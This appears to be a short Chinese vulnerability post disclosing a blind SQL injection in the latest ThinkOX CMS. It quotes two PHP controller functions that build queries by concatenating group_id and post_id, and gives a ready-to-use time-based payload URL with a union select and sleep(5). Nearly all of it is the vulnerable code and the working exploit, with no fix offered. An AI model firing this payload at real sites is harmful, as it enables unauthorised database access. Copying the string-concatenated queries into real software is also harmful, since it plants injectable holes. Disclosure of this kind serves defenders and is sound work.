ThinkOX 最新版 SQL 注入(盲注)

/Application/Group/Controller/GroupController.class.php

protected function getNotice($group_id)
    {
        $notice = D('GroupNotice')->where('group_id=' . $group_id)->find();
        $this->assign('notice', $notice);
        return $notice;
    }

    protected function getGroupIdByPost($post_id)
    {
        $post = D('GroupPost')->where('id=' . $post_id)->find();
        return $post['group_id'];
  }

这两处都是直接拼接的,导致调用这两处函数的地方存在注入。因为返回的只是group id,所以只能盲注。
Payload:

http://0day5.com/thinkox/index.php?s=/group/index/recommend/post_id/-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,sleep(5)%23.html

发表评论